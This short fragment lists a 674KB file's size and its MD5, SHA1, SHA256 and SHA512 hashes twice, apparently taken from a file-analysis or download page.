SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373